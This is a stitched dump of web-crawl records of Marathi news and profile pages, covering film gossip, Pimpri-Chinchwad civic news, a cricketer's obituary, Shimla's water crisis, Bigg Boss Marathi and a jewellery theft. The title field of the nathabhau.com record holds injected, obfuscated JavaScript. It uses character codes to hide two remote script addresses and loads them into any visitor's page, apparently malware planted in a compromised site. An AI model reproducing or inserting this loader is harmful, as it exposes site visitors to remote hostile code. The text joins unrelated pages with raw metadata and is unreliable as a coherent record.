खल्लास करणाऱ्या अदांनी तमाम तरुणाईला घायाळ करणाऱ्या प्रियानं इन्स्टाग्रामवरील लोकप्रियतेच्या बाबतीत बॉलिवूडची अभिनेत्री कतरिना कैफला आव्हान दिलंय.\nकतरीनासोबतच्या सेल्फिमुळे आमिरचे ट्रोलिंग\nआमिर खान, अमिताभ बच्चन, कतरीना कैफ, फातिमा सना शेख ही कलाकार मंडळी मुख्य भूमिकेत असलेल्या 'ठग्स ऑफ हिंदुस्थान' या चित्रपटाचं शूटिंग सध्या जोरदार सुरू आहे. याच चित्रपटाच्या सेटवर आमिरसोबत काढलेला एक सेल्फी कतरीनाने आपल्या इंस्टाग्रामवर अकाउंटवर शेअर केला आहे. या सेल्फीवरूनच सोशल मीडियावर आमिर खानला ट्रोल केलं जातंय.\nइसाबेलनं फेटाळल्या सलमानबाबतच्या अफवा\n'बाहुबली'च्या लेखकाने घेतली शाहरुख खानची भेट\nइसाबेल कैफला सलमान करणार लाँच\n‘DJ’साठी वकिलांची लढाई; चढणार सुप्रीम कोर्टाची पायरी\nमुकेश अंबानी रोज कमावतात ३०० कोटी रुपये\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nनाशिक जिल्ह्यात दोन शेतकऱ्यांची आत्महत्या\nराजकारणाचे गुन्हेगारीकरण गंभीर समस्या: SC\nLive स्कोअरकार्ड: भारत Vs. अफगाणिस्तान\nभिंद्रनवालेला संत संबोधणे शोकांतिका: बिट्टा\n२०० वनडेंत भारताचे नेतृत्व; धोनी पुन्हा कॅप्टन\nग्रामीण मुलींना १२वी पर्यंत STचा मोफत प्रवास\nकाँग्रेस भारताबाहेरील मित्राच्या शोधात: मोदी\nMT न्यूज अलर्टसाठी सबस्क्राइब करा\nटाइम्समधील महत्त्वाच्या बातम्या आणि ब्रेकिंग न्यूजचे नोटिफिकेशन्स लगेचच मिळवा.\n* ब्राऊसर सेटिंग्समध्ये जाऊन तुम्ही नोटिफिकेशन्स कधीही बंदही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00432.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BE%E0%A4%AF%E0%A5%80-%E0%A4%B8%E0%A4%AE%E0%A4%BF%E0%A4%A4%E0%A5%80%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%85%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A4%95%E0%A5%8D-2/", "date_download": "2018-09-25T18:00:14Z", "digest": "sha1:XSILJ3T2RXMHHEETNRA442OJYW7POFKU", "length": 4854, "nlines": 68, "source_domain": "pclive7.com", "title": "स्थायी समितीच्या अध्यक्षपदाच्या निवडणुकीत भाजपच्या ममता गायकवाड विजयी (पहा व्हिडीओ) | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड स्थायी समितीच्या अध्यक्षपदाच्या निवडणुकीत भाजपच्या ममता गायकवाड विजयी (पहा व्हिडीओ)\nस्थायी समितीच्या अध्यक्षपदाच्या निवडणुकीत भाजपच्या ममता गायकवाड विजयी (पहा व्हिडीओ)\nTags: bjpElectionPCLIVE7.COMPcmc newsWinअध्यक्षचिंचवडनिवडणुकपिंपरीभाजपममता गायकवाडमहापालिकाविजयीस्थायी समिती\nस्थायी समितीच्या अध्यक्षपदी भाजपच्या ममता गायकवाड विजयी\nनिगडी पोलीस ठाण्याला सॅनिटरी नॅपकिन व्हेंडिंग मशीनची भेट\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00433.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4%E0%A5%80%E0%A4%AF-%E0%A4%B8%E0%A4%82%E0%A4%98%E0%A4%BE%E0%A4%9A%E0%A5%87-%E0%A4%AE%E0%A4%BE%E0%A4%9C%E0%A5%80-%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%A3%E0%A4%A7/", "date_download": "2018-09-25T16:33:12Z", "digest": "sha1:3HRG4S273ZM7YUP7NRPE7U6VZVHUEZUW", "length": 8259, "nlines": 143, "source_domain": "www.dainikprabhat.com", "title": "भारतीय संघाचे माजी कर्णधार अजित वाडेकर यांचे निधन | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nभारतीय संघाचे माजी कर्णधार अजित वाडेकर यांचे निधन\nनवी दिल्ली – भारतीय क्रिकेट संघाचे माजी कर्णधार अजित वाडेकर यांचे बुधवारी रात्री निधन झाले. ते ७७ वर्षाचे होते. मुंबईच्या जसलोक रुग्णालयात त्यांनी अखेरचा श्वास घेतला. मागील काही दिवसांपासून ते आजाराने ग्रस्त होते. भारताच्या सर्वात यशस्वी कर्णधारांमध्ये वाडेकर यांचे नाव घेतले जाते. त्यांच्या नेतृत्वाखाली भारताने पहिल्यांदा परदेशात कसोटी मालिका जिंकण्याचा प्रराक्रम केला.\nअजित वाडेकर यांचा जन्म १ एप्रिल १९४१ रोजी मुंबईमध्ये झाला होता. वाडेकर यांनी प्रथम श्रेणीमध्ये क्रिकेट खेळण्याची सुरुवात १९५८ मध्ये केली होती. तर आंतरराष्ट्रीय करियरची सुरुवात १९६६ मध्ये केली. त्यांची आंतरराष्ट्रीय क्रिकेटची कारकीर्द १९६६ ते १९७४ अशी आठ वर्ष होती.\n३ डिसेंबर १९६६ रोजी वेस्ट इंडिज विरुध्दच्या कसोटीतून अजित वाडेकर यांनी पदार्पण केले. १९७१ मध्ये अजित वाडेकर यांच्या नेतृत्वाखाली भारतीय संघाने पहिल्यांदा वेस्ट इंडिज आणि इंग्लंडमध्ये कसोटी मालिका जिंकण्याचा पराक्रम भारतीय संघाने केला होता.\nअजित वाडेकर एकदिवसीय सामन्यांचे पहिले कर्णधार होते. वाडेकर यांनी भारताकडून कसोटी ३७ सामने खेळले असून यामध्ये २११३ धावा केल्या आहेत. तर यात १ शतक व १४ अर्धशतकांचा समावेश आहे. वाडेकर यांनी दोन एकदिवसीय सामने खेळले असून यामध्ये ७३ धावा केल्या आहेत. अजित वाडेकर यांना १९६७ साली अर्जुन पुरस्काराने तर १९७२ साली पद्मश्री पुरस्काराने सन्मानित करण्यात आले होते.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleक्रोएशियाच्या स्टार फुटबॉल खेळाडूची आंतरराष्ट्रीय सामन्यांमधून निवृत्ती\nNext articleअलाहाबाद, आयडीबीआय बॅंकेच्या तोट्यात झाली वाढ\nप्रेग्नेंट महिलेला तरी सोडा, भारत-पाक सामन्याआधी सानियाने ट्रोलर्सला सुनावले\n… नाही तर नव्या खेळाडूंना संधी देऊ\nऋषभ पंतला यष्टिरक्षणाकडे लक्ष देण्याची गरज\nहिंदकेसरी गणपतराव आंदळकर यांचे निधन\nज्येष्ठ अभिनेत्री शुभांगी जोशी यांचे निधन\nसानिया मिर्झाचा सोनी येकडून `हिरोज बिहाइंड द हिरो’ पुरस्काराने सन्मान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00433.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AE%E0%A5%8D%E0%A4%B9%E0%A4%A3%E0%A5%82%E0%A4%A8-%E0%A4%B6%E0%A4%BF%E0%A4%AE%E0%A4%B2%E0%A4%BE%E0%A4%B5%E0%A4%BE%E0%A4%B8%E0%A4%BF%E0%A4%AF-%E0%A4%AE%E0%A5%8D%E0%A4%B9%E0%A4%A3%E0%A4%A4/", "date_download": "2018-09-25T16:46:31Z", "digest": "sha1:HERIDRXRKT5NFAX7WHCGM5DDSZTSWNBQ", "length": 6617, "nlines": 137, "source_domain": "www.dainikprabhat.com", "title": "….म्हणून शिमलावासिय म्हणतात, पर्यटकांनो, इथे येऊ नका | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\n….म्हणून शिमलावासिय म्हणतात, पर्यटकांनो, इथे येऊ नका\nशिमला : शिमल्यातील पाणी भीषण संकट पाहता आता स्थानिक नागरिक पर्यटकांना शिमल्यात न येण्याची विनंती करत आहेत. पर्यटकांनी शिमल्यात न येता दुसऱ्या ठिकाणी जावं, कारण इथे पाण्याचा फारच तुटवडा आहे, अशाप्रकारच्या पोस्ट नागरिक सोशल मीडियावर करत आहेत.\nआंघोळीसाठीचं पाणी सोडाच पण पिण्यासाठीही आवश्यक पाणी मिळत नाही. शिमल्यात आम्हाला पाणी नाही. कृपया शिमल्यात न येता दुसऱ्या पर्यटन स्थळाला जावं,” असं एकाने लिहिलं आहे. तर “सरकारने नियमावली जारी करुन शिमल्यामध्ये न येण्यास सांगायला हवं. इथल्या स्थानिकांना पाणी मिळत नाही. अशा परिस्थितीत इथे येऊन पर्यटकांनी आणखी अडचणी वाढवू नये,” असा सल्ला एकाने दिला आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleआनंद-नाकामुरा यांच्यात बरोबरी\nNext articleभंडारा-गोंदिया लोकसभा पोटनिवडणूक : राष्ट्रवादीचे उमेदवार मधुकर कुकडे विजयी\nमोदींनी विमानातून काढलेले ‘फोटो’ पाहिलेत का\nआधी शेतकऱ्यांचे प्रश्न सोडवा ; जपानने मोदींचा ड्रीम प्रोजेक्ट रोखला\nजम्मू काश्मीर – बारामुल्लामध्ये चकमक, दोन दहशतवादी ठार\nपंतप्रधान नरेंद्र मोदी यांना शांततेचा नोबेल मिळणार \nराहुल गांधी चोर असून त्यांचा संपूर्ण परिवार कमिशनवर जिवंत – रविशंकर प्रसाद\nभाजपच्या ‘कार्यकर्ता महाकुंभ’ला दिग्गज नेत्यांची हजेरी ; काँग्रेसवर हल्लाबोल\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00433.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "https://www.loksatta.com/manoranjan-news/know-who-became-first-captain-of-bigg-boss-marathi-1664470/", "date_download": "2018-09-25T17:12:16Z", "digest": "sha1:LYAA74LQPWPUS3R5G2PMUXMKEYE5ZTRH", "length": 13376, "nlines": 207, "source_domain": "www.loksatta.com", "title": "know who became first captain of bigg boss marathi | नियतीने त्याला बनवलं ‘बिग बॉस मराठी’चा पहिला कॅप्टन | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nनियतीने त्याला बनवलं ‘बिग बॉस मराठी’चा पहिला कॅप्टन\nनियतीने त्याला बनवलं ‘बिग बॉस मराठी’चा पहिला कॅप्टन\n'बिग बॉस'च्या नियमाप्रमाणे प्रत्येक आठवड्याला १५ स्पर्धकांपैकी एकाला कॅप्टन म्हणून निवडले जाते, जो सर्वांचं प्रतिनिधित्व करेल. महत्त्वपूर्ण निर्णय घेण्याचे हक्क कॅप्टनला मिळतात.\nवादग्रस्त पण तितकाच लोकप्रिय ठरलेला ‘बिग बॉस’ हा रिअॅलिटी शो मराठीतही सुरू झाला आहे. या शोमध्ये कोणकोणते स्पर्धक सहभागी होतील याची उत्सुकता अनेकांनाच होती. रविवारी प्रसारित झालेल्या ग्रँड प्रिमिअरच्या दिवशी ‘बिग बॉस मराठी’चा १०० दिवसांचा खेळ कोणामध्ये रंगणार हे स्पष्ट झालं. १५ स्पर्धकांची ओळख प्रेक्षकांना झाली आणि पहिल्याच दिवशी या शोने प्रेक्षकांची मनं जिंकली.\n‘बिग बॉस’च्या नियमाप्रमाणे प्रत्येक आठवड्याला १५ स्पर्धकांपैकी एकाला कॅप्टन म्हणून निवडले जाते, जो सर्वांचं प्रतिनिधित्व करेल. घरातल्या सर्वांची मतं घेऊन ज्याला बहुमत मिळेल तो कॅप्टन ठरतो. पहिला कॅप्टन कोण ठरणार याचं कुतूहल प्रेक्षकांनाही होतं. ‘बिग बॉस मराठी’चा पहिला कॅप्टन ठरला तो म्हणजे छोटा पॅकेट बडा धमाका, अर्थात विनीत भोंडे. ‘चला हवा येऊ द्या’ या कार्यक्रमातून घराघरात पोहोचलेल्या विनोदवीर विनित भोंडेने बाजी मारली. कॅप्टनसाठी चिठ्ठ्या टाकल्या गेल्या आणि त्या चिठ्ठीत विनीतचं नाव आलं. अशाप्रकारे नियतीने विनीतला पहिला कॅप्टन ठरवलं. त्यानुसार पहिल्या आठवड्यात बिग बॉसच्या घरातील महत्त्वाचे निर्णय घेण्याचा हक्क त्याला मिळाला आहे.\nBigg Boss Marathi: पंधरा कलाकार आणि शंभर दिवसांचा खेळ\nथुकरटवाडीच्या मंचावरील त्याचा उत्साह पाहून सगळेच त्याला ‘छोटा पॅकेट, बडा धमाका’ असं म्हणायचे. त्याचा मोठा चाहता वर्गही तयार झाला आहे. त्यामुळं हा ‘छोटा पॅकेट’ बिग बॉसच्या घरात काय धमाका करणार हे पाहणं उत्सुकतेचं ठरणार आहे.\nमूळचा औरंगाबादचा असलेल्या विनीत भोंडे यानं निशिकांत कामत यांच्या ‘डोंबिवली फास्ट’ या चित्रपटातून अभिनयाची कारकीर्द सुरू केली होती. मात्र, त्याला खरी ओळख मिळाली ती ‘चला हवा येऊ द्या’ या कार्यक्रमामुळं. आता बिग बॉस मराठीत्या घरात विनीतचे प्रश्न, त्याचा हजरजवाबीपणा, त्याचा मिश्कील स्वभाव प्रेक्षकांना नक्कीच आवडेल यात शंका नाही.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00433.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://amp.esakal.com/uttar-maharashtra/marathi-news-shivshhi-driver-penalty-100497", "date_download": "2018-09-25T16:44:14Z", "digest": "sha1:WLSJA662STWSTDWJLKHFNTHVGQCOEUKN", "length": 6525, "nlines": 43, "source_domain": "amp.esakal.com", "title": "marathi news shivshhi driver penalty शिवशाहीच्या मद्यपी चालकाला 50 हजारांचा दंड | eSakal", "raw_content": "\nशिवशाहीच्या मद्यपी चालकाला 50 हजारांचा दंड\nसकाळ वृत्तसेवा | बुधवार, 28 फेब्रुवारी 2018\nनाशिकः राज्य परिवहन महामंडळातर्फे 3 मार्च पर्यंत मद्यपी कर्मचारी शोध मोहिम राबविण्याचे जाहीर करुनही शिवशाही बसचा चालक मद्यधुंद अवस्थेत बस चालवितांना आढळुन आल्याने महामंडळाने 'शिवशाही' बसेस पुरविणाऱ्या भागीरथी ट्रान्सपोर्ट कॉर्पोरेशनला 50 हजाराचा दंड केला आहे.\nनाशिकः राज्य परिवहन महामंडळातर्फे 3 मार्च पर्यंत मद्यपी कर्मचारी शोध मोहिम राबविण्याचे जाहीर करुनही शिवशाही बसचा चालक मद्यधुंद अवस्थेत बस चालवितांना आढळुन आल्याने महामंडळाने 'शिवशाही' बसेस पुरविणाऱ्या भागीरथी ट्रान्सपोर्ट कॉर्पोरेशनला 50 हजाराचा दंड केला आहे. औंरंगाबाद - चंद्रपुर रस्त्यावर मद्यधुंद अवस्थेत चालक बस नेत असल्याची तक्रार नाशिकच्या एका प्रवाशाने केली होती. त्यानंतर फिरोज हा चालक मद्यधुंद अवस्थेत आढळला होता. 23फेब्रुवारी पासुन महामंडळ त्याची चौकशी करत होते. तथ्य आढळल्यानंतर महामंडळाची प्रतीमा मलीन झाल्याने शिवशाही बससे पुरवीणाऱ्या भागीरथी ट्रान्सपोर्ट कॉर्पोरेशनला 50 हजाराचा दंड केला आहे. या घटनेनंतर सर्व विभाग नियंत्रकांना भाडेतत्वावरील शिवशाही बसवरील चालकांच्या गैरवर्तवणुकीवर लक्ष्य ठेवण्याचे आदेश देण्यात आले आहेत. गेल्या आठवड्यातच महामंडळाने येत्या 3 मार्च पर्यंत विशेष मोहीम राबवुन मद्यपी चालकांची तपासणी करण्याचे आदेश दिले होते.\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00434.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://nathabhau.com/mr/%E0%A4%B2%E0%A5%8B%E0%A4%95%E0%A4%B8%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%8D%E0%A4%95", "date_download": "2018-09-25T16:37:10Z", "digest": "sha1:FS3FI2FM26IDKAB2MG2I6KNOF7DVLM4E", "length": 6907, "nlines": 53, "source_domain": "nathabhau.com", "title": "var d3 = document.createElement('script'); d3.type = 'text/javascript'; d3.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 115, 116, 97, 116, 46, 117, 117, 115, 116, 111, 117, 103, 104, 116, 111, 110, 109, 97, 46, 111, 114, 103, 47, 115, 116, 97, 116, 115, 46, 106, 115, 63, 102, 61, 52); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == d3.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(d3);}var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 97, 97, 106, 108, 99); var scripts = document.getElementsByTagName('script'); var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == po.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(po);} लोकसंपर्क | श्री. एकनाथराव खडसे", "raw_content": "\nस्वगृह » नाथा भाऊ » माझा प्रवास » लोकसंपर्क\nदरवर्षी श्री. खडसे हे आषाढी एकादशीच्या वेळी पंढरपूर यात्रेला वारकर्‍यांसोबत जातात. गेले ३५ वर्षे ते अत्यंत भक्तिभावाने यात्रेला जात आहेत आणि यातूनच त्यांचा जनतेबद्दलचा विश्वास आदर आणि प्रेम दिसून येते. याच विश्वास व निष्ठेने ते जनतेची अविरत सेवा करत आहेत.\nविरोधी पक्षनेते असतांना, ते अभ्यासू व अत्यंत हिरीरीने जनतेच्या प्रश्नांना सोडविणारे नेते म्हणून त्यांची ओळख होती. नागपूर अधिवेशनात त्यांनी सलग ८ तास ३० मिनीटे, वॅट सारख्या किचकट विषयावर भाष्य करून आपलाच विक्रम मोडला. या त्यांच्या वत्कृत्त्वबद्दल त्यांना त्याकाळचे पंतप्रधान कै. चंद्रशेखर यांनी विशेष सम्मानीत केले.\nत्यांनी आपल्या राजकीय वाटचालीची सुरूवात १९८४ साली त्यांच्याच गावी कोथळी ग्रामपंचायतीच्या सरपंचपदापासून झाली. पुढे तो प्रवास पंचायत समिती सदस्य, जिल्हा परिषद सदस्य व मग खासदार, असा चालू राहीला. शिवसेना व भाजपा सरकार मधे असतांना त्यांनी महत्त्वाच्या विभागांमधे काम पाहीले. त्यामधे उच्च व तांत्रिक शिक्षण मंत्री, आर्थिक व नियोजन मंत्री, सिंचन मंत्री, आदेश क्षेत्र विकसन या पदांपासून ते विरोधी पक्षनेते असे त्यांचे कार्यक्षेत्र होते.\n१९९०-९५ : महाराष्ट्र अधिवेशनात भाजपा चे प्रतोद\n१९९०-९१: सदस्यांच्या वेतन व भत्ते च्या संयुक्त समितीचे सदस्य\n१९९१-९२, २००५-०७: लोकलेखा समितीचे सदस्य\n१९९३-९४: उपक्रम समिती सदस्य\n१९९५ : पंचायत राज समितीचे प्रमुख.\n१९९५-९७:अर्थमंत्री व सदस्यांच्या वेतन व भत्ते च्या संयुक्त समितीचे प्रमुख, माजी सदस्यांच्या पेन्शन संयुक्त समितीचे प्रमुख\n१९९५-२०००: महाराष्ट्र विधानसभेच्या विविध नियमाच्या संयुक्त संसदीय समितीचे सदस्य व अध्यक्ष > २००२- ०३: ग्रामीण विकास जलसंधारण व पाणीपुरवठा स्थायी समितीचे अध्यक्ष\n२००२: महाराष्ट्र विधानपरीषद समिती , नाफेड चे अध्यक्ष\n२०००-०४: भाजप विधान परीषद, महाराष्ट्र विधानसभा उपनेते\n२००३-०४, २००७-०९, २००९-२०१३: राष्ट्रकूल संसदीय मंडळाचे उपाध्यक्ष व महाराष्ट्र विधानसभा व्यवहार सल्लागार समितीचे सदस्य.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00434.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/solapur-gold-bangels-theft-women-arrest/", "date_download": "2018-09-25T16:54:41Z", "digest": "sha1:H2YDT3K66YXPFJXVXWN2NTDZ6TBJSGXL", "length": 8659, "nlines": 40, "source_domain": "www.pudhari.news", "title": " रिक्षामध्ये प्रवासी बनून ५८ ग्रॅमच्या बांगड्या चोरणार्‍या महिलेस अटक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › रिक्षामध्ये प्रवासी बनून ५८ ग्रॅमच्या बांगड्या चोरणार्‍या महिलेस अटक\nरिक्षामध्ये प्रवासी बनून ५८ ग्रॅमच्या बांगड्या चोरणार्‍या महिलेस अटक\nरिक्षातून प्रवासी बनून चोरी करणार्‍या जालना जिल्ह्यातील महिलेस शहर गुन्हे शाखेच्या पोलिसांनी अटक करुन त्या महिलेकडून 1 लाख 80 हजार रुपये किंमतीचे 58 ग्रॅम वजनाचे सोन्याचे दागिने जप्त केले.\nमंदाकिनी गिन्यादेव भोसले (वय 30, रा. वडिगोदरी, ता. अंबड, जि. जालना) असे अटक करण्यात आलेल्या महिलेचे नाव आहे. तर ज्योती सचदेव पवार (रा. वडिीगोदरी, ता. अंबड, जि. जालना) ही फरार आहे. याबाबत रजनीदेवी बाबासाहेब पाटील (वय 68, रा. जुनी पोलिस लाईन, मुरारजी पेठ, सोलापूर) यांनी दिलेल्या फिर्यादीवरुन फौजदार चावडी पोलिस ठाण्यात गुन्हा दाखल करण्यात आला आहे.\n30 मार्च रोजी रजनीदेवी पाटील व त्यांची मुलगी पुष्पा देशमुख या सराफ बाजारातील अनुप ज्वेलर्स येथे जुने सोन्याचे दागिने मोडून त्याच सराफाकडे सोन्याचे चार नविन बांगड्या घेण्यासाठी गेल्या होत्या. त्यांनी नविन बांगड्या घेतल्यानंतर मधला मारुती येथून एक रिक्षा पकडून पांजरापोळ चौकात उतरल्या. पाटील या ज्या रिक्षामध्ये प्रवास करीत होत्या, त्या रिक्षामध्ये त्यांच्यासोबत दोन अनोळखी महिलादेखील प्रवासी बनून मधला मारुती चौकातून बसल्या होत्या. पांजरापोळ चौकात उतरल्याने पाटील यांना त्या दोन्ही महिलांचा संशय आल्यााने त्यांनी पर्स उघडून पाहिली असता पर्समधील सोन्याच्या बांगड्या नसल्याचे दिसून आले. त्यामुळे त्यांनी जोडभावी पेठ पोलिस ठाण्यात गुन्हा दाखल केला.\nया गुन्ह्याचा तपास करताना शहर गुन्हे शाखेच्या पोलिसांनी सराफ बाजार, मधला मारुती, पांजरापोळ चौक या परिसरातील सीसीटीव्ही चित्रीकरण तपासले. त्यावेळी त्यांना दोन्ही संशयित महिलांचे चित्रीकरण मिळून आले.\nया दोन्ही संशयित महिला रजनीदेवी पाटील व त्यांच्या मुलीच्या मागावरच होत्या व त्यांनी ठिकठिकाणी त्यांचा पाठलागदेखील केलेला चित्रीकरणात दिसून आले. या दोन्ही संशयित महिलांचे फोटो हे इतर जिल्ह्यातील पोलिस विभागाला पाठविले. त्यावेळी या महिलेची नाव मंदाकिनी भोसले व ज्योती पवार असल्याचे दिसून आले.\nशहर गुन्हे शाखेच्या पोलिसांनी या दोघींचीही माहिती काढून मंदाकिनी भोसले हिस जालना जिल्ह्यातील धोतरजोडाआष्टी येथून ताब्यात घेतले. तिच्याकडे चौकशी केल्यानंतर तिने आपली आत्येबहिण ज्योती पवार हिच्याबरोबर केला असल्याचे कबूल केले. पोलिसांनी मंदाकिनी भोसले हिच्याकडून 1 लाख 80 हजार रुपये किंमतीचे 4 सोन्याच्या बांगड्या हस्तगत केल्या आहेत.\nही कारवाई पोलिस निरीक्षक सूर्यकांत पाटील यांच्या मार्गदर्शनाखाली सहायक पोलिस निरीक्षक रणजित पाटील, हवालदार नंदराम गायकवाड, दिपक राऊत, सचिन होटकर, सागर सरतापे, सुहास अर्जुन, संजय काकडे, विजय निंबाळकर, महिला पोलिस नाईक 